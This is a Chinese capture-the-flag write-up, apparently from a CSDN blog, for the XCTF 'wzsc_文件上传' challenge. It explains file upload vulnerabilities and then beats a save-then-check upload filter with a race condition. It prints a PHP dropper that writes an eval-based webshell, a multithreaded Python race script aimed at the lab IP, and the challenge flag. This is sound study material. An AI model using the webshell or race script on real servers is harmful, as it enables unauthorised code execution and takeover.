【愚公系列】2023年06月 攻防世界-Web(wzsc_文件上传)


前言

文件上传漏洞(File Upload Vulnerability)是指攻击者通过某种方式绕过应用程序上传文件的安全检测机制,将恶意文件或脚本上传至目标服务器,达到执行任意恶意代码的目的。攻击者可以通过此漏洞窃取、篡改、删除或破坏网站数据,或对受害者发起其他形式的攻击。

文件上传漏洞可能出现在各种类型的Web应用程序中,包括电子商务、CMS、论坛、博客、社交网络和在线媒体等。攻击者通常会利用Web应用程序提供的文件上传功能,来上传恶意文件。这些文件可以是可执行文件、脚本、木马等,执行这些文件将会对目标服务器造成严重威胁。

文件上传漏洞的防范措施包括:

  • 对上传文件的大小、类型、格式等进行校验和限制。
  • 对上传文件的内容进行检测和过滤,确保不包含恶意代码。
  • 将上传文件存储在不同的目录或磁盘分区中,并设置适当的访问权限。
  • 定期审查和更新应用程序的安全设置,保持系统安全。
  • 对文件上传功能进行安全测试和漏洞扫描,及时发现和修复漏洞。

文件上传漏洞是一个普遍存在的网络安全问题。攻击者通过利用该漏洞,可以上传恶意文件,然后利用这些文件来执行攻击操作,例如在服务器上执行命令、修改数据等。

漏洞竞争是指攻击者和安全研究者之间的一场竞赛,攻击者试图利用漏洞并攻击系统,而安全研究者试图发现并修复漏洞。攻击者可能利用漏洞进行数据盗窃、恶意代码注入等攻击,而安全研究者则致力于发现和修复漏洞,以保护系统免受攻击。

文件上传漏洞可以被攻击者和安全研究者利用,攻击者可以上传恶意文件,但是安全研究者则可以利用文件上传漏洞来测试系统的安全性,以便发现和修复漏洞。

为了绕过漏洞竞争,攻击者通常会使用一些技巧,例如使用编码绕过上传规则、伪装文件类型、上传受限文件等。为了提高系统的安全性,安全研究者需要不断学习和掌握这些技巧,以便更好地发现和修复漏洞。

一、wzsc_文件上传

1.题目

在这里插入图片描述

2.答题

进入环境发现有个上传,先传个图片进去看看,上传后页面跳转到upload.php

在这里插入图片描述
猜测一下图片保存在upload路径下,试着访问图片,能正常访问。
在这里插入图片描述

然后试着上传shell,上传后发现不能访问,审计源码

<?php
    $allowtype = array("txt","jpeg","bmv","doc","docx","gif","png","jpg");
    $size = 10000000;
    $path = "./upload/";

    $filename = $_FILES['file']['name'];

    if (is_uploaded_file($_FILES['file']['tmp_name'])){
    
    
        if (!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
    
    
            exit();
        }   
    } else {
    
    
        exit();
    }

    $newfile = $path.$filename;

    if ($_FILES['file']['error'] > 0){
    
    
        unlink($newfile);
        exit();
    }

    $ext = array_pop(explode(".",$_FILES['file']['name']));
    if (!in_array($ext,$allowtype)){
    
    
        unlink($newfile);
        exit();
    }
?>

审计代码发现对文件后缀进行白名单限制了,这里我们可以用竞争绕过

竞争原理

1.网站允许上传任意文件,然后检测文件中若有webshell,就删除文件;若不是指定类型文件,那么就使用unlink删除文件

2.在删除之前访问上传的php文件,从而执行上传文件中的php代码

上传代码如下

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

先利用bp一直post那个文件

在这里插入图片描述
使用burp suite配合脚本进行竞争

脚本如下:

import requests
import threading
import os
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
 
        self.url = 'http://61.147.171.105:49440/upload/a.php'
        self.uploadUrl = 'http://61.147.171.105:49440/upload/shell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)
 
    def _upload(self):
        print('upload file...')
        rs = requests.get(self.uploadUrl)
        if rs.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._upload()
                self._get()
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()

在这里插入图片描述

在这里插入图片描述
可以看到shell已经被上传,用蚁剑连接

在这里插入图片描述
得到flag:cyberpeace{2389a9ca238f49ceba513ce06a896995}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131260295
今日推荐